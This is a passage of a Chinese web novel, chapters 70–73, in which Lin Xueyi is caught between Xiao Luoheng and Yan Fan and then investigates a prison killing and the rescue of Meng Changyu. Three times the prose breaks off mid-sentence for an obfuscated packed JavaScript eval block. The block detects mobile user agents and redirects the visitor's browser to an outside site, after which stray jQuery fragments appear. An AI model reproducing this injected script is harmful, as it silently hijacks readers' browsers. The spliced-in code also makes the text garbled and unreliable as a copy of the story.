她心念急转间脚步不停,很快便走出宅子,来到了姜婶指的大宅院前。 她抬手刚想敲门,却发现院门只是虚掩着,里头还断断续续地传出些说话声。她没有迟疑,推门悄声走了进去。 “……茯苓糕已经送去了。”从院落的月门里头传来的少女声音婉转如莺啼,语气中透着乖顺。 “她如何了?”随即传出的男子语声温润如玉响。 林雪意闻声不由在月门外收住脚步,悄悄投去视线,就见到一道修长清隽的熟悉背影。 他身着银纹锦袍,乌发半披,似乎正在摆弄身前的花枝,举手投足间不徐不疾,宛如仙人欲飞。 “奴婢向那厨娘打听过了,她说姑娘的烧已经退了。”穿着粉衣的小丫鬟说完踌躇片刻,小心翼翼地道,“殿下,想来姑娘已经没有大碍,您是不是该考虑动身了?您中途折返的事若是传到圣上耳中,奴婢担心……” 男子好像有些心不在焉,他意兴阑珊地从花枝上收回手,侧身淡淡瞥了小丫鬟一眼,出尘得像是美玉雕琢的一杆修竹。 他没有责怪小丫鬟多嘴,只是浅声道:“就此离开,我不放心。” 听到这里,林雪意哪还有什么不明白。 她一口气梗在心头,从月门外走进去,道:“二殿下,明霞说得没错,您不该在此地逗留。” 70. 相争 萧落珩闻言转身,那双清澈凤眼闪现片刻的讶然。 继而他眼中的惊诧缓缓退去,温温柔柔地微弯了眉眼,朝她大步走过来。 “意儿!” 他就像她小时候摔倒时那样,扶着她左看右看,想要确认她是不是真的安然无恙。 “二殿下。”林雪意顿时感到有些无奈,拍拍他的臂弯让他停下,“我真的已经没事了。” 方才她听到萧落珩和明霞的对话,知道萧落珩因为她失踪的事情折回此地,本来还有些气他的意气用事,但是现在被他这么一通折腾,她只感到自己一拳打在棉花上。 一旁的明霞看到了林雪意就像是看到了希望,忙道:“姑娘,求您劝劝殿下。殿下他……” “明霞,休要多言。”萧落珩语声沉沉地打断她。 “就……就算殿下要责罚奴婢,奴婢也要说。” 明霞径直跪下,连珠炮似的向林雪意告起了状:“姑娘,原本我们的船都已经进入青州境内了,得到您失踪的消息后,殿下执意要回来找您。后来得知您昏迷着回来,殿下又不眠不休地等了两日,说要等您醒了再动身。可是如今您醒了,殿下他又出尔反尔不愿走。” 林雪意算是明白明霞为什么如此着急了,萧落珩这些举动实在让人不省心,也实在容易让有人之心抓住把柄。 她叹了口气,对萧落珩道:“二殿下,多谢您对我的关心。但是您此举确实莽撞,若论个中利害,想必您要比我清楚得多,望您多为自己考虑,不要再一意孤行。” 萧落珩轻一抿唇,敛去眼底落寞,望向她的眸光淡淡的:“这番话,你是出于什么立场对我说的?” “什么?”林雪意一愣。 萧落珩上前一步,深深望进她眼里,目光一时有些失神:“是作为我父皇的臣子,还是作为我的意儿妹妹?” 林雪意被他看得心下一颤,面上却不动声色,问道:“若是臣子如何?若是意儿又如何?” “若是臣子,我自有考量。若是意儿……”萧落珩说着又上前一步,宛若神祇的面孔上神色渐渐柔和下来,坚定的目光一分分温柔,“我很高兴,意儿心里还有我。” 林雪意没有因为萧落珩的逼近而退缩,却因为他后半句话惊得后退半步,脚下一个趔趄。就在她以为自己要跌倒的时候,萧落珩拦腰搂住了她,温润深邃的沉水香散了她满怀。 “意儿小心。” 萧落珩刚把她扶稳,林雪意只感到旁边一道掌风袭来,正对萧落珩的方向。 “落珩哥哥!”她顾不得多想,用力将萧落珩一推,挡在了他跟前。 眨眼间便到了她眼前的手掌堪堪停下,出掌之人立时收手,因为强行收掌而踉跄了两步。 被掌风刮起的发丝起落间,林雪意看清了方才动手的不速之客竟是晏返,她不由心中一紧,脸色白了白。 萧落珩反应过来,连忙拉着林雪意后退几步,关切望她:“意儿,你没事吧?” 林雪意摇摇头,旋即蹙眉看向晏返:“世子,你这是做什么?” 惊讶和担忧从他眼底陡然闪过,继而他看向她身后的萧落珩,幽沉眼眸中浮起锐色,咬牙切齿道:“夫人,我不过是想要提醒二皇子,不要对他人之妻动手动脚罢了。” 林雪意想到刚才萧落珩搂自己的那一下,心知晏返是有所误会,刚想解释,萧落珩却将她护在身后,抢先她一步开了口—— “晏世子,据我所知,你跟意儿并无夫妻之情。既是如此,你又何必要耽误她?你让她陪你做戏,本就是对她的不尊重。” 他语声清润如风枝露叶,林雪意却听得心头一跳。她下意识向晏返投去视线,发现他也面露诧异。 她微不可察地摇了下头,示意自己不曾跟萧落珩说这些,两人视线相触一刹后,不约而同地看向了一直在旁边默不作声的明霞,就见她脸上红一阵白一阵的。 林雪意心中幽幽一颤,暗暗蜷紧了手指。 萧落珩对她的心意,他在船上时就已说得很清楚,她想误解都难。 她原是想借跟晏返的夫妻之名让他死心,结果现在闹了这么一出,怕是很难收场。 都怪她当时沉不住气,在船上就跟晏返吵起来,这才让明霞无意中听了去。 “呵。”晏返不知为何突然轻笑了一声,看向萧落珩的目光中多了几分桀骜,“二殿下,我夫妻二人的感情如何暂且不论,但就事论事,我才是她最好的选择。” 林雪意讶然看向他,见他唇角一弯,也正看她:“她有鸿鹄之志,不应屈居于后宅。如今虽是初入官场,但她胸有丘壑,假以时日,必会羽翼绚烂,如凰翱翔于九天之上。我不会阻碍她,更不会让她成为笼中雀。” 林雪意听得胸口处突突地跳,一股莫名的情绪袭上心头,像是欣喜,又像是振奋,与原本盘踞心头的顾忌和忧虑交汇一处,让她一时说不出话来。 她亦明白晏返的言下之意,若她真的跟萧落珩在一起,那便是皇子妃,再无入朝为官的可能。 “那便让意儿跟着你受苦吗?”萧落珩总是温和的眉眼间少见地浮现出讥诮,清澈嗓音中带上了冷意,“若不是你的疏忽,她这次怎么会遇到危险?我虽只是一介闲散皇子,但至少我可以保护她不受伤害。至于这皇子身份,只要意儿高兴,我不要又何妨?” “你……!”晏返脸色蓦地一沉,拳头捏得咯噔作响。 这场面实在离奇,空气里充满了火药味,林雪意脸上热腾腾的,只想找一条地缝钻进去。 她硬着头皮走到两人中间,艰难开口:“二殿下,世子,都是误会,你们不必为此争执,伤了和气。” 她话音刚落,晏返就已经大步走到她跟前。 林雪意无措地看他一眼,便直觉般感到他浑身跟刺猬似的戾气骤然散尽,悬着的一颗心便巍巍颤颤地落下来。 她想了想,朝他伸出手,莹白纤指的手指试探着去撬他身前攥紧的拳头,一根,两根……那收紧的手旋即一松,任由她的手掌钻进他覆着薄茧的掌心。 晏返整个人似乎都轻轻一僵,浮现出意外的眸光霎时覆落下来,带着些她看不懂的情绪。 他的掌心炽热,那热度仿佛会传染一般,从她和他掌心相接的地方无声蔓延,悄悄爬上她的雪颈,让她的眼皮沉得几乎抬不起来。 “走吧。”林雪意垂眸轻语,“我只是来向二殿下报个平安,再不回去的话,深月该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840800|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心了。” “好。”晏返修长手指似是动了动,继而轻轻反握住她的手,牵着她向外走去。 林雪意走到半路脚步一顿,回身转向萧落珩的方向,眼帘颤颤巍巍:“多谢二殿下的好意,但我冷暖自知,您不必为我挂心。京城路远,望您早日启程,莫要误了归期。” 话音方落,整个院落便陡然沉寂下来。 她微垂着目光,看不见萧落珩脸上神色,但他的身姿究竟还是落进了她的眼底,颀长挺拔,却无端令人生出孑然之感。 握着她的手稍稍紧了紧,似无声的催促。 林雪意朝萧落珩轻一颔首,跟着晏返离开了偌大的宅院。 萧落珩的宅院距离他们的宅子并不远,林雪意跟晏返却心照不宣般,一路都走得很慢。 觉察到手心里的纤手在离开宅院后逐渐不安分,像一尾想要溜走的鱼,晏返不由握紧了些,随后又缓缓松开了她。 就在他们快到回到宅子的时候,林雪意停下了脚步,道:“谢谢你刚才替我解围。” 晏返闻言看着她,半晌没说话。 就在林雪意被看得有些不自在,想要出言询问的时候,他喉头动了动,说的却是:“对不起。” “为何要道歉?”她不明所以地问。 “二皇子有句话说得没错,”晏返平日里总是神采飞扬的眼眸中有些黯然,“我让你陪我做戏,是对你的不尊重。” 林雪意抿唇笑笑,摇了摇头:“可是我又何尝不是让你陪我做戏呢?我没有觉得自己被亏待,你不必愧疚。” 她一时也说不清自己跟晏返的关系。 表面上他们是夫妻,实际上却更像朋友,可说是朋友,他们又不像真正的朋友那般坦诚。 她遇险,他会舍命相救;他有难,她亦不愿袖手旁观。他们甚至共渡难关,经历生死,但他们却不会像挚友那样推心置腹,反而是相互试探,各自都有秘密。 不如说,他们有共同的目标,利害关系暂且一致,因此相互利用罢了。 晏返星辰般的眸子里闪过一丝错愕,片刻后他叹了口气:“我不是愧疚,是心疼。” 他的语气过于诚恳,林雪意差点怀疑是自己的错觉,望着他不禁有一刹的怔然。 “上次我也不该说那样的话,对不起。”似乎是见她面露不解,他又低声补充了一句,“在二皇子船上时,我不该那样口不择言。” 林雪意思索片刻后会过意来。 那日萧落珩指责晏返在大婚之日丢下她去喝花酒,晏返却反驳说那不过是夫妻情丨趣。 林雪意顿时有些脸热。 那之后接二连三的波折早已让她忘记了当日争吵的细节,此时突然想起来,她竟感到有些无地自容。 她笼在袖中的双手绞在一起,低头琢磨着措辞道:“我……我也有失言之处。过去的事,就让它过去吧。” 她边说边慢慢挪动步子,向宅门走去,想要摆脱眼下这种有些尴尬的境地。 身后随即响起了沉稳的脚步声,继而那脚步声越来越快,后头的人追上来轻轻抓住她手臂,男子微带焦急的语声紧随而至—— “林雪意,其实我们成婚那日……” 71. 默契 林雪意错愕对上那双沉黑的眼,身后却突然传来一声惊呼。 “御史大人,不好了!” 两人循声看去,就见一道仓皇的人影从宅子的转角处跑来。 那人一身衙役打扮,林雪意觉得自己好像在哪里见过他。等来人跑到近前,她终于想起来,此人是那日跟在县尉方玉宣身后奋勇杀敌中的一员,方玉宣似乎叫他小伍。 他能如此慌张,可见衙门那边出了不小的事。 一念至此,林雪意连忙迎上去问:“发生了何事?” 小伍显然是一路狂奔,上气不接下气道:“大……大人,孟长宇……被人劫走了!” 林雪意闻言心道不好。她今日本打算用完早膳就去衙门审问孟长宇的,结果他却在这个节骨眼上被劫走了。 小伍一边大口喘气一边道:“还有……” “还有?” 林雪意更加诧异,不由跟晏返对视一眼,两人都从对方眼中看到了不妙的神色。 “付世仁……他、他也被杀死在牢中了!” 林雪意心中一凛,几乎是跟晏返同时抬步,向县衙的方向赶去。 两人刚到县衙,方玉宣就迎了出来,言简意赅地向两人说起牢里的情况。 “……牢中六个狱卒,全被迷晕,至今未醒。付世仁胸口被利刃刺入,当场死亡。从伤口来看,行凶之人手法老到,是个行家。” “被害时间大约是什么时候?”林雪意问。 “从伤口、血迹,以及尸体的僵硬程度来判断,约莫是在卯初时分。”方玉宣边说边带着林雪意和晏返去往牢中。 通往牢房的最底下那截台阶较其他的几截要高,晏返走在林雪意前头,觉察之后便立刻抬手去扶林雪意。 林雪意没有犹豫,一边伸手由他扶着步下台阶一边问方玉宣:“杀死付世仁的跟劫走孟长宇的可是同一人?” 方玉宣闻言一顿,继而眼中浮现赞许的神色。 牢里一下子出了这两桩事,且是在同一时间发现的,许多衙役便先入为主,认为是同一人作案,但这林御史显然心思敏锐,已经考虑到其他的可能。 她小小年纪,听闻又是久居闺中,竟如此才思敏捷,实在难能可贵。 方玉宣心中闪过一丝钦佩,立刻回答:“从现场来看,我认为不是。” 说话的当下,他们已经来到了付世仁的牢房。 付世仁的尸体还维持着被发现时的样子,四仰八叉地平躺在地上,一双眼睛死死地瞪着上方,似乎死前碰到了令他极其惊愕的事情。 方玉宣又将先前关押孟长宇的牢房指给林雪意看。 孟长宇的牢房就在付世仁这一间的斜对角,林雪意扫视片刻便看出的端倪,心道难怪方玉宣判断出是不同的人作案。 付世仁的牢房门锁是生生被刀锋劈开的,刀口平整,一气呵成,而孟长宇的牢房门锁是用牢房的钥匙打开的,那一串牢门钥匙就丢在牢门外。由此可见,做这两件事的并不是同一个人。 一旁的小伍也看出了一点门道,但他又有些犯迷糊,问道:“会不会是凶手故布疑阵,故意用不同的方法开锁?” “不会。” 林雪意和晏返异口同声,两人听到对方笃定的语声都是一怔,旋即互相使了个眼色。 晏返唇角凝起一点弧度,挑眉道:“付世仁跟孟长宇并无交集。否则,在你失踪,我找上付世仁的时候,他就不会冒险让黑水帮背锅,而是先拿孟长宇来挡刀了。” 林雪意并不知道晏返寻找自己的细节,此时听他提起,不由有些惊讶。 她也明白晏返的意思,付世仁跟孟长宇互相不认识,如果说有这样一个人,他既要杀付世仁又要救孟长宇,可能性微乎其微。 她点点头,说出自己做出判断的理由:“若真是同一个人,从结果来看,他故布疑阵并无什么好处。” 无论是杀害付世仁还是劫走孟长宇,做下这两件事的人,官府都会通缉捉拿,扰乱线索并不会增加其逃脱的机会。 小伍恍然大悟,方玉宣来回看着林雪意跟晏返,眼中赞赏之色更深。 晏返扫视了牢房一圈,忽而问道:“付世仁有个师爷,他人呢?” “您是说付冈吧?他是付世仁的远房表亲。”提起师爷,方玉宣的脸色逐渐凝重起来,“付世仁去黑水潭时他就逃了,昨日有人发现他溺亡在城外的河道中。” 林雪意很快就从二人的三言两语中知道了这师爷在这件事中扮演的角色,心道他的死也过于巧合,其中意味不言而喻。 她正想去查看付世仁的尸体,伸出去的手却被晏返挡住,后者冲她使了个眼色,道:“我来。” 林雪意从善如流地退至一旁,一边瞄着晏返验尸,一边听方玉宣和小伍说牢中近况。 付世仁是个尸位素餐之辈,惯会偷奸耍滑,一直花银钱在上头打点,平时便心安理得地关起门来拒不审案。遇上百姓伸冤,多是当成闹事的打一顿就轰出去,所以这牢房也已空置了许久。因此两桩案子发生时,牢中竟无一个目击证人,可真是讽刺。 她眼尾的余光瞥见晏返手中动作一顿,料想是有了新的发现,果然就见他招呼衙役将付世仁的尸体挪开。 “怎么了?”林雪意问。 晏返指了指付世仁身下的地面,脸色不太好看:“地上有字。” 林雪意和方玉宣闻言都朝晏返所指之处看去,两人面色皆是一沉——只见原本付世仁后腰处的地面上,赫然用血歪歪扭扭地写着一个“昱”字 “怎么是……”小伍话没说完,就被三个人同时投来的视线制止,讪讪地住了嘴。 方玉宣从墙角处拿了一些稻草把那个已经发黑的血字盖住,这才命衙役收敛付世仁的尸体。 “此事非同小可。”方玉宣一脸肃容。 林雪意明白他的意思。 别说是她,就是路上任何一个平头百姓,可能也知道这个字意味着什么。 当今李贵妃原是李嫔,她能突然得晋帝恩宠,除了驻颜有术之外,更为主要的原因是她所生的三皇子,在一年前立下了救驾之功。 当时晋帝出宫祭祀却遭刺客埋伏,随行的太子和士兵被调虎离山,是三皇子在千钧一发之际为晋帝以身挡剑。幸好军士们识破了奸计折返,刺客伏诛,三皇子救治及时才保住了性命。 三皇子原名萧落璇,晋帝感念他忠孝之心,为他赐名,改萧昱璇,并特许三皇子用“昱”字,普天之下,皆须避讳,以示对他的嘉奖和器重。 而三皇子的生母李嫔也因此母凭子贵,坐上了贵妃之位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868207|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此看到付世仁身下的这个“昱”字,他们首先想到的便是三皇子。 林雪意原本也觉得蹊跷。如付世仁这般欺软怕硬之辈,就算他担心自己的倒行逆施被她查出来,想要先下手为强,也应该先掂量掂量她背后的明远侯府才对。但付世仁却直接指使黑水帮刺杀她,这举动实在是不计后果。 她甚至也设想过,是另外有人授意付世仁这么做的,比如说那一直隐匿在暗处,想要阻止她追查迷魂胭脂的人,但她却没想到线索会指向三皇子。 “论手段,他们倒是如出一辙。”晏返冷声道。 林雪意的思绪被晏返拉了回来,心知他口中说的如出一辙,是指她离京去往青州时,李贵妃曾指使范通派士兵扮做杀手去截杀她一事。 想到此处,她心中又生出一点疑惑来。 她被李贵妃记恨是因为李铎被查的事,如果付世仁真的是受三皇子指使,难道也是出于这样的原因? 可是她从御史台得知,李铎下狱受审后虽被罢黜,却并无性命之忧,若三皇子真是因李铎的事而针对她,未免显得有些小题大做了。 方玉宣不知想到了什么,眉头皱得更深了,道:“这血字,也不一定是付世仁写的。” 林雪意和晏返交换了一下眼神后,都点了点头。 小伍却听得云里雾里,疑惑道:“怎么……怎么又不是了呢?” 方玉宣解释道:“既然付世仁是被人所杀,那地上的字自然也有可能是凶手故意留下的。或许是为了转移视线,也或许是为了嫁祸他人。” “可是付世仁已经死了,这岂不就是死无对证?”小伍问。 林雪意早已扫视过牢房,这里并未留下什么关键证物,无法用回溯之力窥得一二。 她思忖片刻,转身看向原本关着孟长宇的牢房,眸光渐渐地深了:“如果能找到孟长宇,那么他应该算是一个证人。” “您是说,付世仁死的时候,孟长宇还没被人劫走?”小伍惊奇道,“这又是从何得知的?” 林雪意下意识看了晏返一眼,见他点头,便长话短说道:“这与我在查的案子有关。孟长宇的牢房里并无打斗痕迹,可见带走他的是他信任的人,也可以说是他的同伙。 “这群人行事隐秘,不会轻易留下把柄。若当时付世仁还活着,他们也不会留活口。而付世仁是一刀毙命,没有其他伤痕,可见那时他已经死了。” 方玉宣赞同林雪意所说,但是眉眼间却流露出难色,道:“我虽已派人搜寻,但眼下却全无消息。孟长宇长相丑陋,又废了一只手臂跟一条腿,按理说应该十分惹眼才对,却不知为何他就跟突然蒸发一样,竟没人看到过他。” 林雪意想了想,去孟长宇的牢房外捡起丢在地上的那串牢房钥匙,凝神回溯起来。 她的视野陡然一花,许多陌生的场景便如走马灯般在她眼前一幕幕变换起来。 飞快闪过的场景在一只纤细素手触碰狱卒腰上的牢房钥匙的那一刻,骤然停下。 画面中的狱卒已经昏迷,那只顺下钥匙的手提着钥匙晃了晃,而后那手的主人脚步款款地走向牢房。 林雪意心念一动,画面上移,一张容貌明艳的脸孔便映入她的眼帘,让她瞳孔骤缩—— 那女子长得跟芷柔一模一样! 72. 追踪 林雪意只觉得一股强烈的不适之感涌上心头,她不由掐紧了手心,心念急转。 她跟芷柔虽然相处的时间不长,但也一起经历过患难,她深知芷柔的为人。 那么芷柔会出现在牢中只有两种可能:其一,是芷柔受人控制,不得已才来此处;其二,是来劫狱的人出于某种原因伪装成了芷柔的样子。 林雪意睫毛颤了颤,心念一动,视野范围便倏然变大,其间人物相对的缩小,她就像是浮在了半空,看尽眼底人的一举一动。 画面中的“芷柔”荆钗布裙,臂弯里挎着一个竹篮,确实是贫家女的打扮,但是细看起来,她的身量比她所熟悉的芷柔要更高一些,举手投足间流露出一股不加掩饰的轻佻,脸上更是浮现出令人感到陌生的轻蔑之色。 林雪意这才悄悄松了一口气——她敢断言,此人不是芷柔。 既然她不是芷柔,那她定然精通易容之术,林雪意不由得想起了一个人。 只见那女子挎着篮子缓缓走向牢房深处,却是在付世仁的牢房外停下了。 林雪意凝神看去,发现付世仁已经躺在血泊之中,但他似乎一息尚存,听到脚步声后艰难地转动眼球,布满血丝的眼珠里流露出对生的奢望。 女子目光冰冷,唇角却轻轻扬起,带着嘲弄的语声如刺破死寂的利刃:“就这么死了,你甘心吗?” 她的话仿佛能够蛊惑人心,付世仁闻言蓦然瞪大了眼睛,覆在地上的手指如爬虫一般剧烈地抖动起来。 “呵,我要是你,我就是死,也要拉害我的人下地狱。” 她说完掩嘴笑起来,那笑声轻盈婉转却只能让人感受到残忍。 躺在地上的付世仁被激得全身一颤,嘴角溢出了一口鲜血。他原本已经动弹不得,此时却似是被绝望所驱使,用沾血的手指在身侧颤抖着划拉了几个笔画,而后挪动身体将那血字盖住,目光逐渐僵直。 熟悉的窒闷感袭来,林雪意感到自己的心脏像是被一只手攫住一般呼吸困难,但她却不愿就此结束回溯,强忍住胸口传来的阵痛继续看下去。 那女子取笑完付世仁之后便不再理会他,而是径直打开孟长宇的牢门。 牢房阴影处的孟长宇连忙收起脸上痴傻癫狂的神情,拖着断肢朝她爬过去,脸上堆起的笑容近乎狂热:“素馨圣使。” 林雪意闻声不禁心如擂鼓。 那女子果然就是曾经扮做柳笙蒙骗她的素馨,但她却不明白孟长宇口中的“圣使”是什么意思。 素馨却二话不说,俯身便扇了孟长宇一巴掌,冷眼看他的样子就像是在看一条狗。 她取下挎在臂弯上的提篮丢给他,孟长宇便也真的像狗一样,忙不迭地扒拉起篮子里的东西。 只见他从竹篮里取出了花白的假发和老妇的衣物,毛手毛脚地穿戴一番后,奋力扒着牢门站起来,殷勤地朝素馨递上自己的手。 素馨冷冷翻了个白眼,丢下手中摆弄的钥匙,嫌恶地搀住他,装作相携的穷苦母女离开了牢房。 画面在视野中快速淡去,林雪意只感到胸口痛得厉害,眩晕如浪潮般涌来,她再也支撑不住沉重的头,陡然往下一顿。 她本以为自己会一头栽到地上,但是下一瞬,她的额角便顿上轻软衣料,鼻翼传来熟悉的温热气息。 视野再度清晰起来,最先映入她眼帘的是男子明朗锋利的下颌线,她不由双目微瞋,正对上晏返投落的复杂目光。 她怎么就靠在晏返肩上了?! 林雪意心中大惊,正要起身,脚下却突然一空,整个身体旋即被晏返抱了起来,男子微沉清醇的语声紧随而至—— “方县尉不必担心,想来是牢中太冷,我夫人旧疾犯了,出去透透气会好一些。” 晏返边说边抱着她往牢外走去,众人关切的眼神便在她惊愕的眼底一闪而过。 林雪意顿时回过味来,恐怕是她回溯的时间太长,反常的样子已经引起了他们的注意。 他……真的以为她只是旧疾复发吗? 林雪意小心翼翼地抬眼去看晏返,这才发现他只穿一身劲装,他那件罩在外头的玄色大氅不知何时已经披在了她的身上。 大氅里头暖意逼人,可以想见衣服主人的体温是何等炽热,银线织就的流水暗纹晃入她眼底,让她心头轻轻一烫。 一行人很快到了外面,林雪意示意晏返将她放下来,忍着眼底热意道了声谢,继而小心着措辞提醒方玉宣:“方县尉,我方才听你所言,猜想孟长宇是乔装之后离开的。他既然废了手臂跟腿,那就极有可能装作行动不便的老人。比方说,他可以跟同伙装作母女,避人耳目。” 方玉宣闻言眼睛一亮,道:“大人言之有理!若真是如此,那特征倒是颇为明显。我这便派人去打听。” 他说完便转身去布置,林雪意想起方才回溯到的场面,心中忐忑,下意识地看向晏返。 许是发现了她目光中的不安,晏返没有打趣她,只是淡淡道出了她心中所想:“你是想问我,关于易容的事?” 有他起头在先,林雪意便直言道:“我不谙此道,只能问你。若是要易容成某个人的样子,是不是要见过这个人才行?” 晏返也不拐弯抹角,直言道:“若是技术精湛之人,单凭画像也可易容。总之,前提是得要知道这个人的样子。” 一股寒意猛然从脚底窜起,林雪意打了个冷颤—— 素馨若是乔装成其他样子,她不会感到如此不安。但她偏偏是易容成芷柔的模样,这便说明她见过芷柔。 ——芷柔有危险! · 寒风凛冽,将泛着土腥味的河水吹出皱纹。 孟长宇拄着从路边捡来的竹竿,踉踉跄跄地跟在脚步轻盈的女子身后。他身上的创口未愈,在衣物上摩擦出新的血迹,但这些痛楚远远不能与他死里逃生的狂喜相比。 他一面赶上素馨,一面讨好道:“圣使,一会儿在主人面前,还望您替我美言几句。” 走在他前头的女子揭下人皮面具丢了,随口“嗯”了一声,在孟长宇看不见的角度里,眼露讥讽。 前方四下无人的茶棚里,身形颀长冷峭的男子正拥着纯黑的狐裘靠坐桌边。他的眉眼被泛着森寒的黑金面具所遮挡,只能从他锋利的唇角窥到一丝漠然。 素馨加快脚步,上前颔首道:“公子,我已将孟长宇带来。” “属下见过主人。”孟长宇殷勤跪下道。 似乎是嫌弃孟长宇丑陋的样子脏了自己的眼,男子调转视线,语声凉薄:“东西呢?” 孟长宇连忙伸进怀里一阵摸索,掏出一本皱得不成样子的薄册子递过去,热切道:“主人放心,属下试验的记录藏得很好,不曾被官府察觉。” 素馨接过册子翻看了两眼,冲男子点了点头。 男子薄唇微勾,从面具后透出的视线却阴鸷不带温度。他懒懒换了个姿势,拨开被风吹至肩侧的发丝,漫不经心道:“倒是有些苦劳,想要什么赏赐?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888104|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟长宇眼中精光大盛,他按捺住心中激动,腾挪着视线朝男子手上看去:“属下听说主人的那枚扳指乃是血胆玛瑙所制……” 男子摩挲着玛瑙扳指的手指一顿。 孟长宇错觉般感到对方周身萦绕着一股不耐,立刻压下唇角,道:“呃……如此神物,属下万万不敢有非分之想,属下只是想知道,它是否真的可以让尸身维持生前的样子。” 男子却不置可否,问:“只问这个,不要赏赐?” 孟长宇连忙点头,狂热的目光在扳指上流连不去。 “本座却有一件东西要赏你。”男子冲素馨微一偏头,话音中听不出喜怒。 素馨即刻会意,取出一个水囊递给孟长宇。 孟长宇受宠若惊,小心翼翼地接过来打开,仰头便喝。但他即刻脸色僵住,猛地一个抽搐抛开了水袋,将手指伸进嘴里抠喉咙,试图将吞下去的液体吐出来。 “公子赐你的圣药,怎么不喝了?”素馨像是无事发生般将地上的水袋捡起来,朝孟长宇走去。 孟长宇眼中流露出难以置信的神情,哆嗦着嘴唇看向男子:“主、主主主……主人,属、属下一直感念您的救命之恩,对您更是忠心耿耿,天地可鉴,为何……为何……” 男子似没听到一般,连一个眼神都不曾给他。 素馨径直握住孟长宇的下巴,五指一紧便捏碎他下颌骨,将水袋里的东西往他洞开的嘴里灌进去,冷声道:“公子让你做事,可没让你做多余的事!” 孟长宇瞳孔一缩,心知自己私下囚禁女子的事已经暴露。他一面徒劳挣扎,一面含糊不清地求饶:“属下知错……求您……求您看在属下……呕……曾向您举荐我师兄……呕……饶过属下……” 男子这才凉凉看向满身血污,狼狈不堪的孟长宇,嗓音森寒:“若不是看在辛游的份上,本座会留你这蠢货到现在?” 孟长宇已经说不出话来,他的身体渐渐变得僵硬,一双浑浊的眼睛望着灰蒙蒙的天空,不知是死了还是活着。 男子像是见到什么秽物一般,眼中闪过一丝嫌恶,起身从他旁边走过,语声冷透:“你不该动她!” 他走出两步,回头看了一眼仍留在原地看着孟长宇的素馨,道:“可是觉得本座过于苛刻?” 素馨一双美目望过来,弯出一个漂亮的弧度,躬身道:“怎么会呢?素馨也觉得,他该死。” 男子嗤笑一声。他高大的身形突然一顿,耳廓微动,唇角凝起一点冷冽的弧度:“官府的人来得倒是快。” · 蜿蜒的河道旁,一匹高头大马疾驰其上。 策马之人一拉缰绳,骏马便敏捷调转马头,跃进近旁的一条小道,不多时便在一间民宅外停了下来。 林雪意也不等晏返搀她,心急火燎地从马背上跳下来,跑进方容的家中。 屋子里家具器物完好,但摆放得过于整齐,没有一点人生活的痕迹,整间屋子安静得出奇。 “芷柔!方大娘!”林雪意一边叫一边将屋子里外找了个遍,却没发现两人的影子。 一股森然寒意遍布全身,林雪意只觉得心脏越跳越快,不断升腾的焦灼不安刺得她眼眶生疼。 “林雪意。”晏返握住她肩膀让她停下,望着她道,“别太担心,看样子她们是自己离开的。” 林雪意点点头,语声却发涩:“我知道,可是……” 晏返正要再说,原本柔和的眸光却倏地一凛,锐利视线扫向门外:“谁?” 73. 暗示 这声喝问声音不大,却把屋外的人影吓得一个趔趄。 林雪意见状跑出去,发现外头神情紧张的人竟是几日前收留过深月和墨云的张氏。她手中提着个菜篮,似乎只是碰巧路过。 她连忙扶住差点站不稳的张氏,问道:“张婶,您没事吧?” “没事,没事。”张氏见是林雪意,顿时松了一口气,连连摆手道,“我正要出门,见有人接近阿容的屋子,有些不放心,就过来看看。原来是大人您啊。” 林雪意忙问:“张婶,芷柔跟方大娘去了哪儿?” “她们……”张氏闻言微微皱了眉头,道,“她们去亲戚家了。” “亲戚家?”林雪意心中顿时生出一股怪异的感觉。几日前她在这附近遇见失魂落魄的方容,那时几人在谈话之间,并未提及她还有其他亲人。 张氏显然也是为这个感到疑惑,道:“这说来也奇怪。前日芷柔回来后,大家都很高兴,阿容还说今天的日子好,要做一桌好菜请大家来一起庆祝。结果她们今日一早就走了,说是收到了远方的亲戚来信,让她们去小住几日。” “何处的亲戚?方大娘以前可曾提起过这位亲戚?” 张氏摇着头道:“这倒不曾,也不知对方是哪里人士。阿容只是说,是她的一个远亲做生意发迹了,前段时间就邀请过她,但她那时因为芷柔的事心灰意冷,不曾回应。如今芷柔失而复得,她心里高兴,也想带芷柔出去散散心,去去晦气。” “方大娘真是这么说的?”林雪意仍然有些不放心,“芷柔呢?她说了什么没有?” 被林雪意这么一问,张氏像是突然想起了什么,提了提手里的菜篮,道:“清早她跟阿容来向我道别的时候,说是城里有户人家先前向她定了一幅绣品,她虽已连夜赶制好了,但是着急赶路,托我今日进城替她送过去。这不,我正打算进城一趟呢。” “连夜赶制?”林雪意心头一动,追问道,“那绣品是要送去何处的?” 